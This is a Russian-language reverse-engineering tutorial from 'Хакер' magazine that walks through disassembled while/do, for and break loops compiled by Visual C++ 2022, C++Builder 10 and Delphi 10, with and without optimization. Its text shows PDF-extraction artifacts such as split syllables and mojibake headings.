Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

ÖÈÊËÛ WHILE/DO
Visual C++ 2022 ñ îòêëþ÷åííîé îïòèìèçàöèåé
Для зак репле ния прой ден ного в прош лой статье матери ала рас смот рим нес- 
коль ко живых при меров. Нач нем с самого прос того — иден тифика ции цик лов
while/do:

#include <stdio.h>

 int main()
{
      int a = 0;

      while (a++ < 10)
       printf("Оператор цикла while\n");

    do {
       printf("Оператор цикла do\n");
       } while (--a > 0);

}

От компи лиру ем этот код с помощью Visual C++ 2022 с отклю чен ной опти миза- 
цией.

Ре зуль тат выпол нения при мера while-do

Ре зуль тат ком пиляции дол жен выг лядеть при мер но так:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

0000000140004018↓o
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h

; Резервируем память для двух локальных переменных,
; Только откуда взялась вторая?

                     sub rsp, 38h
; Заносим в переменную var_18 значение 0
; Следовательно, это переменная a

                     mov [rsp+38h+var_18], 0

Ни же сле дует перек рес тная ссыл ка — , нап равлен ная вниз.

Это говорит нам о том, что перед нами начало цик ла. Пос коль ку перек рес тная
ссыл ка нап равле на вниз, то переход, ссы лающий ся на этот адрес, будет нап- 
равлен вверх!

loc_1400010EC

loc_1400010EC:                          ; CODE XREF: main+31↓j
; Загружаем в EAX значение переменной a (var_18)

                     mov eax, [rsp+38h+var_18]
; Загружаем в var_14 значение переменной a, вот, мы нашли,
; где используется вторая переменная

                     mov [rsp+38h+var_14], eax
; Зачем-то снова загружаем то же значение в регистр EAX

                     mov eax, [rsp+38h+var_18]
; Увеличение значения в регистре EAX на 1

                    inc eax
; Загружаем значение из регистра EAX в переменную var_18 ("a")

                     mov [rsp+38h+var_18], eax
; Сравниваем старое (до обновления) значение переменной a,
; ранее сохраненное в var_14, с числом 0xA

                     cmp [rsp+38h+var_14], 0Ah

Ес ли ( ), дела ем пры жок «впе ред», непос редс твен но за инс трук- 

цию безус ловно го перехо да, нап равлен ного «назад». Если выпол няет ся пры- 
жок «назад», зна чит, это цикл, а пос коль ку усло вие выхода из цик ла про веря- 
ется в его начале, то это цикл с пре дус лови ем.

var_14 >= 0xA

Для его отоб ражения на цикл  необ ходимо инверти ровать усло вие

выхода из цик ла на усло вие про дол жения цик ла, дру гими сло вами, испра вить 
 на .

while
>

= <
Сде лав это, мы получа ем: .while (a++ < 0xA)...

                     jge short loc_140001113
; Начало тела цикла:
; заносим ссылку на строку "Оператор цикла while\n"

                         lea rcx, _Format ; _Format
; Выводим на консоль

                   call printf
; Безусловный переход, направленный назад, на метку loc_1400010EC 
— в начало цикла,
; в область подготовки переменных для проверки

                     jmp short loc_1400010EC

Меж ду  и  есть толь ко одно усло вие
выхода из цик ла: . Зна чит, исходный код цик ла выг- 

лядел так:

loc_1400010EC jmp short loc_1400010E
jge short loc_140001113

    while (a++ < 0xA) printf("Оператор цикла while\n");

Да лее сле дует начало цик ла с пос тусло вием. Одна ко на дан ном эта пе мы это- 
го еще не зна ем, хотя и можем догадать ся бла года ря наличию перек рес тной
ссыл ки, нап равлен ной вниз.

loc_140001113:                          ; CODE XREF: main+23↑j
                                       ; main+4E↓j

Ага, никако го усло вия в начале цик ла не при сутс тву ет, зна чит, это цикл с усло- 
вием в кон це или в середи не.

; Заносим ссылку на строку "Оператор цикла do\n"
                      lea rcx, byte_140002278 ; _Format

; Печатаем в консоли
                   call printf

; Тело цикла
; Загружаем в EAX значение переменной var_18 ("a")

                     mov eax, [rsp+38h+var_18]
; Уменьшаем значение в EAX на 1

                    dec eax
; Возвращаем значение из EAX в переменную a — var_18

                     mov [rsp+38h+var_18], eax
; Сравниваем переменную a с нулем

                     cmp [rsp+38h+var_18], 0
; Если (a > 0), делаем переход в начало цикла

                jg      short loc_140001113

Пос коль ку усло вие рас положе но в кон це цик ла, это цикл :do

 do printf("Оператор цикла do\n");
   while (--a > 0);

; Возвращаем 0
                     xor eax, eax

; Восстанавливаем стек
                     add rsp, 38h

               retn
main            endp

Visual C++ 2022 ñ âêëþ÷åííîé îïòèìèçàöèåé
Сов сем дру гой резуль тат получит ся, если вклю чить опти миза цию. Откомпи- 
лиру ем тот же самый при мер с клю чом  (мак сималь ная опти миза ция: при- 

ори тет ско рос ти) и пос мотрим на резуль тат, выдан ный ком пилято ром:

/O2

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

000000014000400C↓o
; Сохраняем регистр в стеке

                   push rbx
; Подготавливаем стек, ни одной локальной переменной не объявлено

                     sub rsp, 20h
; В EBX кладем число 0xA. Для чего, пока неясно

                     mov ebx, 0Ah
                      nop dword ptr [rax+rax+00h]

; Судя по следующей перекрестной ссылке, направленной вниз, это 
цикл!
loc_140001080:                          ; CODE XREF: main+20↓j
; Заносим в регистр RCX ссылку на строку "Оператор цикла while\n"

                         lea rcx, _Format ; _Format
; Выводим строку на терминал

                   call printf
; Если это тело цикла, то где же предусловие?!
; Вычитаем из RBX число 1

                     sub rbx, 1
; Получается, что число 0xA, помещенное в EBX ранее, было 
начальным значением

Инс трук ция  подоб но  изме няет сос тояние фла га нуля. Если в резуль- 

тате вычита ния получа ется 0, флаг нуля воз водит ся в еди ницу. Сле дующая
инс трук ция совер шает пры жок назад, ког да флаг не воз веден, то есть
в резуль тате вычита ния регистр  не стал равен нулю.

SUB CMP

RBX

                 jnz short loc_140001080

Ком пилятор в порыве опти миза ции прев ратил неэф фектив ный цикл с пре дус- 
лови ем в более ком пак тный и быс трый цикл с пос тусло вием. Имел ли он на это
пра во? А почему нет?! Про ана лизи ровав код, ком пилятор понял, что этот цикл
выпол няет ся по край ней мере один раз. Сле дова тель но, скор ректи ровав усло- 
вие про дол жения, его про вер ку мож но вынес ти в конец цик ла.

Так же в исходном тек сте был инкре мент счет чика цик ла от нуля до , а в
под готов ленном тран сля тором коде мы видим обратный эффект: дек ремент
счет чика от  до нуля. Таким обра зом, ком пилятор 

 заменил .

0xA

0xA while ((int a=0)+1) <
10) printf(...) do printf(...) while ((int a=10)-1) > 0)

При чем, что инте рес но, он не срав нивал перемен ную цик ла с кон стан той,
а помес тил кон стан ту в регистр и умень шал его до тех пор, пока тот не стал
равен нулю! Зачем? А затем, что так короче, да и работа ет быс трее.

Хо рошо, но как нам деком пилиро вать этот цикл? Непос редс твен ное отоб- 
ражение на язык C/C++ дает сле дующую инс трук цию:

  var_RBX = 0xA;
 do {

   printf("Оператор цикла while\n");
   var_RBX--;
    } while (var_RBX > 0);

Впол не кра сивый и опти маль ный цикл с одной перемен ной.

; Значение 0xB помещаем в регистр EBX. Это подготовка к 
следующему циклу
; Этот код выполняется после завершения предыдущего цикла

                     mov ebx, 0Bh
                      nop word ptr [rax+rax+00000000h]

; Перекрестная ссылка, направленная вниз, говорит нам о том, что 
это начало цикла
loc_1400010A0:                          ; CODE XREF: main+40↓j
; Предусловия нет, значит, это цикл do
; Заносим в регистр RCX ссылку на строку "Оператор цикла do\n"

                      lea rcx, byte_140002278 ; _Format
; Выводим строку на терминал

                   call printf
; Уменьшаем значение, загруженное в EBX, на единицу

                    dec ebx
; Проверяем EBX на равенство нулю

                    test ebx, ebx
; Продолжаем выполнение цикла, пока EBX > 0

                jg      short loc_1400010A0

Этот цикл пря миком отоб ража ется в конс трук цию язы ка C/C++:

  var_EBX = 0xB;
   do { printf("Оператор цикла do\n"); }

   while (--var_EBX > 0);

; Возвращаем ноль
                     xor eax, eax

; Восстанавливаем стек
                     add rsp, 20h

; Восстанавливаем регистр
                    pop rbx

               retn
main            endp

C++Builder 10 áåç îïòèìèçàöèè
Нес коль ко ина че обра баты вает цик лы ком пилятор Embarcadero C++Builder
10.4. Смот ри при мер :while-do_cb

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: 
__acrtused+29↑o
; Объявляем шесть переменных

   var_1C          = dword ptr -1Ch
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Сохраняем в стеке RBP
                   push rbp

; Резервируем память для локальных переменных
                     sub rsp, 40h

; Помещаем в RBP указатель на дно стека
                     lea rbp, [rsp+40h]

; Инициализируем переменные:
; в var_4 записывает 0, вероятно, это переменная a из исходного 
кода

                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

; Еще одна переменная, изначально равная нулю, возьмем на заметку
                     mov [rbp+var_14], 0

; Ниже перекрестная ссылка, направленная вниз, значит, это начало 
какого-то цикла
loc_40141F:                             ; CODE XREF: main+3E↓j
; В начале цикла условие не обнаружено, видимо, цикл с 
постусловием,
; хотя не будем спешить с выводами
; В регистр EAX копируем значение из переменной var_14

                     mov eax, [rbp+var_14]
; Копирование EAX в ECX

                     mov ecx, eax
; Увеличиваем значение в регистре ECX на 1

                     add ecx, 1
; Увеличенное значение из регистра ECX копируем в переменную 
var_14,
; из которой берется значение для счетчика в начале итерации

                     mov [rbp+var_14], ecx
; Сравнение неувеличенного значения с 0хА

                     cmp eax, 0Ah
; Если это значение больше константы или равно ей,
; выполняем прыжок за пределы цикла в область старших адресов

                     jge short loc_401440
; В случае продолжения выполнения помещаем ссылку на строку в 
регистр
; и выводим ее на консоль

                      lea rcx, aOperatorIklaWh ; "Оператор цикла 
while\n"

                   call printf
; Зачем-то сохраняем текущее значение регистра EAX в переменной 
var_18...

                     mov [rbp+var_18], eax
; ... и выполняем безусловный переход в начало цикла

                     jmp short loc_40141F

Вот так-то C++Builder опти мизи ровал код! Началь ный цикл с пре дус лови ем
выпол нения он прев ратил в бес конеч ный цикл с усло вием выхода посере дине
(за под робнос тями обра тись к )! Как мы можем деком пилиро- 
вать этот цикл? Нап рашива ется такой вари ант:

прош лой статье

      int var_14 = 0;
    do {
      int var_EAX = var_14;
      int var_ECX = var_EAX;
   var_ECX++;
     var_14 = var_ECX;
       if (var_EAX >= 0xA) break;
   printf("Оператор цикла while\n");
  } while (TRUE);

Этот вари ант кар диналь но отли чает ся от пер воначаль ного, и я очень сом нева- 
юсь, что в луч шую сто рону! Что ж, издер жки про изводс тва...

; --------------------------------
loc_401440:                             ; CODE XREF: main+2D↑j
; Сюда происходит переход при выходе из предыдущего цикла
; Как мы знаем, эта инструкция только переводит управление через 
себя

                     jmp short $+2
; --------------------------------
loc_401442:                             ; CODE XREF: main:
loc_401440↑j
                                       ; main+5D↓j

; Новый цикл!
; Как видим, он начинается с вывода строки, нет условия, значит, 
цикл с постусловием

                      lea rcx, aOperatorIklaDo ; "Оператор цикла do\
n"

                   call printf

Про маты ваем дизас сем блер ный лис тинг вверх, что бы вспом нить, какое зна- 
чение находит ся в регис тре . Зна чит, в этом мес те прог раммы зна чение

в регис тре  рав но . Записы ваем это зна чение в перемен ную 
(непонят но, для каких целей, ведь в будущем она не исполь зует ся). Выходит,
локаль ную перемен ную  исходной прог раммы пред став ляет регис тро вая

перемен ная .

EAX
EAX 0хА var_1C

a
EAX

                     mov [rbp+var_1C], eax
; Записываем в регистр EAX значение переменной var_14
; А в ней содержится значение на 1 больше, чем в EAX! То есть 0xB

                     mov eax, [rbp+var_14]
; Какой хитрый C++Builder!
; Вместо реального вычитания он прибавляет к значению в EAX -1

                     add eax, 0FFFFFFFFh
; Присваивает результат переменной var_14

                     mov [rbp+var_14], eax
; И сравнивает уменьшенное значение с нулем

                     cmp eax, 0
; Если (EAX > 0), то мы прыгаем назад к началу «нового цикла»
; и осуществлению очередной итерации

                jg      short loc_401442

Во что C++Builder прев ратил изна чаль ный цикл с пос тусло вием? В целом
никаких изме нений он не внес, оста вив все на сво их мес тах. И деком пилиро- 
ван ный лис тинг это го цик ла дол жен выг лядеть при мер но так:

   var var_14 = 0xB;
do
{
      int var_EAX = var_14;
   var_EAX--;
     var_14 = var_EAX;
    printf("Оператор цикла while\n");
    } while (var_EAX > 0);

; В ином случае, когда (EAX <= 0), пропускаем переход
; и продолжаем выполнение кода программы

                     mov [rbp+var_4], 0
; Возвращаем ноль

                     mov eax, [rbp+var_4]
; Восстанавливаем стек

                     add rsp, 40h
; Восстанавливаем регистр

                    pop rbp
               retn

main            endp

C++Builder 10 ñ îïòèìèçàöèåé
И сов сем пря моли ней ный код тран сли рует C++Builder с вклю чен ной опти миза- 
цией по ско рос ти.

В дан ном слу чае не име ет зна чения, какой ключ из двух выб ран, -O2 или -
O3, оба оди нако во вли яют на генери руемый код

Продолжение статьи →
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ПРАКТИКУЕМСЯ В ПОИСКЕ ЦИКЛОВ ПРИ
РЕВЕРСЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: 
__acrtused+29↑o

                   push rbp
                   push rsi

                     sub rsp, 28h
                     lea rbp, [rsp+20h]
                      lea rsi, aOperatorIklaWh ; "Оператор цикла 

while"
                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                      lea rsi, aOperatorIklaDo ; "Оператор цикла do"
                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     mov rcx, rsi
                   call puts

                     xor eax, eax
                     add rsp, 28h
                    pop rsi
                    pop rbp

               retn
main            endp

Без вся ких ухищ рений этот код десять раз выводит стро ку «Опе ратор цик ла
while» и один надцать — стро ку «Опе ратор цик ла do». Быть мак сималь но прос- 
тым зна чит быть мак сималь но быс трым!

Delphi 10

На закус ку пос мотрим, как раз бира ется с цик лами Embarcadero Delphi 10 (при- 
мер ). Нем ного изме ним код, что бы его прог лотил ком- 

пилятор:

while_repeat_d

 program while_repeat_d;

{$APPTYPE CONSOLE}

{$R *.res}

uses
 System.SysUtils;

var
   a : Integer;

begin
   a := 0;

     while a < 10 do
 begin
     writeln('Оператор цикла while');

         a := a + 1;
 end;

 repeat
   writeln('Оператор цикла repeat/until');

         a := a - 1;
    until a < 0;

end.

Для удобс тва ском пилим с дебаж ной информа цией, и для начала — с отклю- 
чен ной опти миза цией.

От клю чение опти миза ции

Ожи даемый вывод

Пос мотрим на резуль тат в дизас сем бле ре:

                public _ZN14While_repeat_d14initializationEv
  _ZN14While_repeat_d14initializationEv proc near

                                       ; DATA XREF: HEADER:
0000000000400128↑o
                                       ; .pdata:

0000000000448328↓o
; __unwind { // 
_ZN6System23_DelphiExceptionHandlerEPNS_16TExceptionRecordEyPvS2_
; Блок кода инициализации приложения

                   push rbp
                     sub rsp, 20h
                     mov rbp, rsp
                     mov rax, cs:off_432120
                       mov byte ptr [rax], 1

               nop
                     lea rcx, qword_429080
                   call _ZN7Sysinit8_InitExeEPv

; Инициализация переменной a
                     mov cs:_ZN14While_repeat_d1aE, 0

Да лее идет ее срав нение с чис лом . Мож но подумать, что мы име ем цикл

с пре дус лови ем, одна ко не будем торопить ся с вывода ми. Ведь мы еще не
встре тили ни одной перек рес тной ссыл ки!

0xA

                     cmp cs:_ZN14While_repeat_d1aE, 0Ah
; Если (a >= 0xA), пропускаем последующий цикл и переходим к 
следующему блоку кода

                     jge short loc_428FA2
loc_428F72:                             ; CODE XREF: 
_ZN14While_repeat_d14initializationEv+60↓j
; Перекрестная ссылка говорит нам о начале цикла
; Ниже идет блок кода для вывода строки, не будем на нем подробно 
останавливаться...

                     mov rcx, cs:off_431F40
                     lea rdx, dword_42900C
                   call

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
                     mov rcx, rax
                   call _ZN6System8_WriteLnERNS_8TTextRecE
                   call _ZN6System8__IOTestEv

; ... здесь он заканчивается и переменная а увеличивается на 1
                     add cs:_ZN14While_repeat_d1aE, 1

; Сверка получившегося значения с 0xA, значит, все-таки имеем 
цикл с постусловием,
; компилятор изменил цикл с предусловием, который был в исходном 
коде!

                     cmp cs:_ZN14While_repeat_d1aE, 0Ah
; Если (a < 0xA), прыгаем назад в начало цикла

                jl      short loc_428F72
loc_428FA2:                             ; CODE XREF: 
_ZN14While_repeat_d14initializationEv+30↑j

Сю да про исхо дит переход пос ле завер шения пре дыду щего цик ла, а так же
в слу чае, если при про вер ке перед вхо дом в цикл ока зыва ется, что перемен ная

 боль ше зна чения  либо рав на ему.a 0хА

               nop
loc_428FA3:                             ; CODE XREF: 
_ZN14While_repeat_d14initializationEv+91↓j
; Перекрестная ссылка — явный намек на начало цикла
; Он начинается с блока кода вывода строки, значит, имеем дело с 
циклом с постусловием

                     mov rcx, cs:off_431F40
                     lea rdx, dword_429044
                   call

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
                     mov rcx, rax
                   call _ZN6System8_WriteLnERNS_8TTextRecE
                   call _ZN6System8__IOTestEv

; Уменьшаем значение переменной a на 1
                     sub cs:_ZN14While_repeat_d1aE, 1

; Сравниваем ее значение с нулем
                     cmp cs:_ZN14While_repeat_d1aE, 0

; Если (a >= 0), переходим в начало цикла...
                     jge short loc_428FA3

; когда переменная примет значение меньше нуля,
; выполняем блок кода завершения приложения

                   call _ZN6System6_Halt0Ev
; --------------------------------

                     jmp short loc_428FE2
; --------------------------------

                align 4
                   call _ZN6System19_UnhandledExceptionEv

; --------------------------------
                align 2

loc_428FE2:                             ; CODE XREF: 
_ZN14While_repeat_d14initializationEv+98↑j

                     lea rsp, [rbp+20h]
                    pop rbp

               retn
; } // starts at 428F40

 _ZN14While_repeat_d14initializationEv endp

Как ока залось, опти мизи рован ный вари ант ничем не отли чает ся от текуще го,
поэто му рас смат ривать пер вый нет никако го смыс ла. Луч ше перей дем к сле- 
дующе му типу цик лов.

ÖÈÊËÛ FOR
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Рас смот рим сле дующий при мер :for_cycle

#include <stdio.h>

 int main()
{
    int a;

          for (a = 0; a < 10; a++)
       printf("Оператор цикла for\n");

}

Вы вод при ложе ния for_cycle

Ре зуль тат ком пиляции Microsoft Visual C++ 2022 с отклю чен ной опти миза цией
будет выг лядеть так:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

0000000140004018↓o
; Объявляем локальную переменную

   var_18          = dword ptr -18h
; Резервируем для нее место в стеке

                     sub rsp, 38h
; Инициализируем переменную a нулем

                     mov [rsp+38h+var_18], 0
; Непосредственный переход на код проверки условия продолжения 
цикла —
; характерный признак цикла for

                     jmp short loc_1400010F8
; --------------------------------
loc_1400010EE:                          ; CODE XREF: main+2B↓j
; Загрузка в EAX значение переменной a

                     mov eax, [rsp+38h+var_18]
; Увеличение EAX на единицу

                    inc eax
; Обновление переменной a. Следовательно, исходный код выглядел 
так: a++

                     mov [rsp+38h+var_18], eax
loc_1400010F8:                          ; CODE XREF: main+C↑j
; Сравниваем переменную a со значением 0xA

                     cmp [rsp+38h+var_18], 0Ah
; Выходим из цикла, если a >= 0xA

                     jge short loc_14000110D
; Иначе продолжаем выполнение и выводим строку

                         lea rcx, _Format ; _Format
                   call printf

; Безусловный переход в начало цикла
                     jmp short loc_1400010EE

; --------------------------------
loc_14000110D:                          ; CODE XREF: main+1D↑j

                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

Итак, что мы име ем?

Рас положен ная в начале цик ла про вер ка на завер шение говорит о том, что
это цикл с пре дус лови ем, но непос редс твен но выразить его через 

не уда ется: меша ет безус ловный переход в середи ну цик ла, минуя код инкре- 
мен та перемен ной . Одна ко этот цикл с лег костью отоб ража ется
на опе ратор , смот ри:

while

var_18
for

          for (int a = 0; a < 0xA; a++) printf("Оператор циклаfor\n");

Дей стви тель но, цикл  сна чала ини циирует перемен ную-счет чик, затем про- 

веря ет усло вие про дол жения цик ла (опти мизи руемое ком пилято ром в усло вие
завер шения), далее выпол няет опе ратор цик ла, модифи циру ет счет чик, вновь
про веря ет усло вие и так далее.

for
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А теперь задей ству ем опти миза цию и пос мотрим, как видо изме нит ся наш
цикл:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

000000014000400C↓o
                   push rbx

                     sub rsp, 20h
; Инициализируем регистровую переменную-счетчик
; Внимание! В исходном коде начальное значение счетчика равнялось 
нулю!

                     mov ebx, 0Ah
                      nop dword ptr [rax+rax+00h]

loc_140001080:                          ; CODE XREF: main+20↓j

Вы пол няем опе ратор цик ла! При чем безо вся ких про верок! Хит рый ком пилятор
про ана лизи ровал код и понял, что цикл выпол няет ся по край ней мере один
раз.

                     lea rcx, _Format ; _Format
               call printf

Умень шаем счет чик, хотя в исходном коде прог раммы мы его уве личи вали. 
Ну пра виль но:  короче, чем: 

.

sub reg, const / jnz xxx INC / CMP reg, 
const / jnz xxx

Ой и муд рит ком пилятор! Кто же ему давал пра во так изме нять цикл?! 
А дело вот в чем: он понял, что параметр цик ла в самом цик ле исполь зует ся
толь ко как счет чик и нет никакой раз ницы, уве личи вает ся он с каж дой ите раци- 
ей или умень шает ся.

                     sub rbx, 1
; Переход в начало цикла, если RBX > 0

                     jnz short loc_140001080
                     xor eax, eax
                     add rsp, 20h
                    pop rbx

               retn
main            endp

Внеш не это типич ный код сле дующе го вида:

   int a = 0xA;
 do {

     printf("Оператор цикла while\n");
  } while (--a);

Ес ли тебя устра ивает читабель ность такой фор мы записи, оставляй ее. Если же
нет, тог да код мож но пред ста вить так:

          for (int a = 0; a < 10; a++) printf("Оператор цикла for\n");

Пос той, пос той! На каком осно вании мы выпол нили такое пре обра зова ние?
А на том же самом, что и ком пилятор: раз параметр цик ла исполь зует ся толь ко
как счет чик, закон на любая запись, выпол няющая цикл ров но десять раз. Оста- 
ется выб рать ту, которая удоб нее и кра сивее. Ник то же не будет утвер ждать,
что  более при выч но, чем 

?
for (a = 10; a > 0; a--) for (a = 0; a < 10; 

a++)

C++Builder 10

А что покажет нам товарищ C++Builder без опти миза ции? Ком пилиру ем
и смот рим при мер :for_cycle

 main            proc near               ; DATA XREF: 
__acrtused+29↑o
; Со стула упасть можно! пять переменных для маленького цикла!

   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

                   push rbp
                     sub rsp, 40h
                     lea rbp, [rsp+40h]

; Инициализация переменных
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx
                     mov [rbp+var_14], 0

loc_40141F:                             ; CODE XREF: main+3D↓j

Пос ле ини циали зации перемен ных сра зу сле дует начало цик ла, где на пер вом
мес те нас ожи дает про вер ка перемен ной . Из это го сле дует, что C++Builder
цикл  прев ратил в цикл  с пре дус лови ем.

a
for while

                     cmp [rbp+var_14], 0Ah
                     jge short loc_40143F

; Если (a >= 0xA), выходим из цикла
                      lea rcx, aOperatorIklaFo ; "Оператор цикла 

for\n"
; Выводим строку

                   call printf
                     mov [rbp+var_18], eax

; Копируем в EAX значение переменной a
                     mov eax, [rbp+var_14]

; Увеличиваем значение в регистре на 1
                     add eax, 1

; Возвращаем его в переменную
                     mov [rbp+var_14], eax

; Безусловный переход в начало цикла
                     jmp short loc_40141F

; --------------------------------
loc_40143F:                             ; CODE XREF: main+23↑j
; Блок завершения программы

                     mov [rbp+var_4], 0
                     mov eax, [rbp+var_4]
                     add rsp, 40h
                    pop rbp

               retn
main            endp

Вид но, что C++Builder 10 не дотяги вает до Visual C++ 2022. Ему даже не хва- 
тило ума про верить, выпол няет ся ли цикл хотя бы один раз, что бы прев ратить
цикл  в цикл с пос тусло вием. Вмес то это го он сде лал цикл с пре дус лови ем,

одна ко заменил усло вие про дол жения выпол нения на усло вие прек ращения!

for

С вклю чен ной опти миза цией C++Builder ком пилиру ет цикл  точ но так

же, как цик лы  и . То есть выкиды вает любое упо мина ние о цик ле
и прос то десять раз выводит задан ную строч ку.

for
while do
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Èäåíòèôèêàöèÿ break

Те перь нас тала оче редь цик лов с усло вием в середи не или цик лов, завер- 
шаемых вруч ную опе рато ром . Рас смот рим сле дующий при мер.break

#include <stdio.h>

 int main()
{
      int a = 0;

    while (1)
   {
       printf("1-й оператор\n");

           if (++a > 2) break;
       printf("2-й оператор\n");
   }

   do
   {
       printf("1-й оператор\n");

           if (--a < 0) break;
       printf("2-й оператор\n");
   }
    while (1);

}

Вы вод при ложе ния cycle_break_vc
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Ре зуль тат ком пиляции в Visual C++ 2022 с отклю чен ной опти миза цией дол жен
выг лядеть так (при мер ):cycle_break_vc

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

0000000140004018↓o
   var_a          = dword ptr -18h

; Резервируем место для единственной локальной переменной
                     sub rsp, 38h

; Присваиваем переменной var_a значение 0
                     mov [rsp+38h+var_a], 0

; Перекрестная ссылка, направленная вниз, — цикл
loc_1400010EC:                          ; CODE XREF: main+3E↓j
; Обнуляем регистр EAX

                     xor eax, eax

Об рати вни мание: ког да опти миза ция отклю чена, ком пилятор тран сли рует
безус ловный цикл «слиш ком бук валь но». Так, обну лив , он педан тично про- 

веря ет его зна чение на равенс тво еди нице, чего про изой ти не может! Если
в кои-то веки  будет рав но  — про изой дет выход из цик ла.

EAX

FALSE TRUE
Сло вом, все эти инс трук ции — глу пый и бес полез ный код цик ла !while (1)

                     cmp eax, 1
; Если операнды одинаковые, то результат станет 0 и будет 
возведен флаг нуля,
; в результате чего произойдет выход из цикла

                jz      short loc_140001120
; printf("1-й оператор\n")

                         lea rcx, _Format ; "1-й"
                   call printf

; В EAX помещаем значение переменной a
                     mov eax, [rsp+38h+var_a]

; Инкрементируем EAX
                    inc eax

; Возвращаем значением из EAX в переменную var_a
                     mov [rsp+38h+var_a], eax

; Сравниваем значение переменной var_a с константой 2 — пределом 
цикла

                     cmp [rsp+38h+var_a], 2

Продолжение статьи →



ПРАКТИКУЕМСЯ В ПОИСКЕ ЦИКЛОВ ПРИ
РЕВЕРСЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Пе реход выпол няет ся, если ( ). Но куда ведет этот переход?
Во-пер вых, переход нап равлен вниз, то есть это уже не переход к началу цик- 
ла. Сле дова тель но, и усло вие — не усло вие цик ла, а резуль тат ком пиляции
конс трук ции . Вто рое — переход пры гает на пер вую коман ду, сле- 
дующую за безус ловным . А тот переда ет управле- 

ние инс трук ции, сле дующей за коман дой  — безус- 

ловно го перехо да, нап равлен ного вверх, — в начало цик ла. Сле дова тель но,
 осу щест вля ет выход из цик ла, а 

 про дол жает его выпол нение.

var_a <= 0x2

IF — THEN
jmp short loc_140001120

jmp short loc_1400010EC

jmp short loc_140001120 jle short 
loc_140001112

                     jle short loc_140001112

Ни же идет переход на завер шение цик ла. А кто у нас завер шает цикл? Ну
конеч но же, ! Сле дова тель но, окон чатель ная деком пиляция выг лядит
так: .

break
if (++var_a > 0x2) break;

Мы инверти рова ли  в , так как  переда ет управле ние на код про дол- 

жения цик ла, а вет ка  в нашем слу чае — на .

<= > JLE
THEN break

                     jmp short loc_140001120
; --------------------------------
; Перекрестная ссылка направлена вверх, следовательно, это не 
начало цикла
loc_140001112:                          ; CODE XREF: main+2E↑j
; printf("2-й оператор\n")

                     lea rcx, a2         ; "2-й"
                   call printf

; Прыжок в начало цикла. Вот мы и добрались до конца цикла
                     jmp short loc_1400010EC

Вос ста нав лива ем исходный код:

while(1)
{
   printf("1-й оператор\п");
       if (++var_a > 0x2) break;
   printf("2-й оператор\n");

}

; --------------------------------

; Сюда происходит переход в момент выхода из первого цикла. По 
всей видимости, это перекрестная ссылка — начало второго цикла

loc_140001120:                          ; CODE XREF: main+11↑j
                                       ; main+30↑j ...

; printf("1-й оператор\n");
                     lea rcx, a1         ; "1-й"
                   call printf

                     mov eax, [rsp+38h+var_a]
; Уменьшаем значение в EAX: --var_a

                    dec eax
                     mov [rsp+38h+var_a], eax

; После возврата значения в память сравниваем значение переменной 
с нулем

                     cmp [rsp+38h+var_a], 0
; Если var_a >= 0, выполняем переход вниз

                     jge short loc_14000113F

Опе ратор  цик ла  ничем не отли чает ся от  цик ла ! Поэто му

не будем раз гла голь ство вать, а сра зу его деком пилиру ем: 

.

break do break while
if (var_a < 0) 

break;

; Очевидно, это break, ведущий в конец программы
                     jmp short loc_140001152

; --------------------------------
loc_14000113F:                          ; CODE XREF: main+5B↑j

                     lea rcx, a2_0       ; "2-й"
                   call printf

                     xor eax, eax
                     cmp eax, 1

; А это проверка продолжения цикла: while (1);
                     jnz short loc_140001120

loc_140001152:                          ; CODE XREF: main+5D↑j
                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

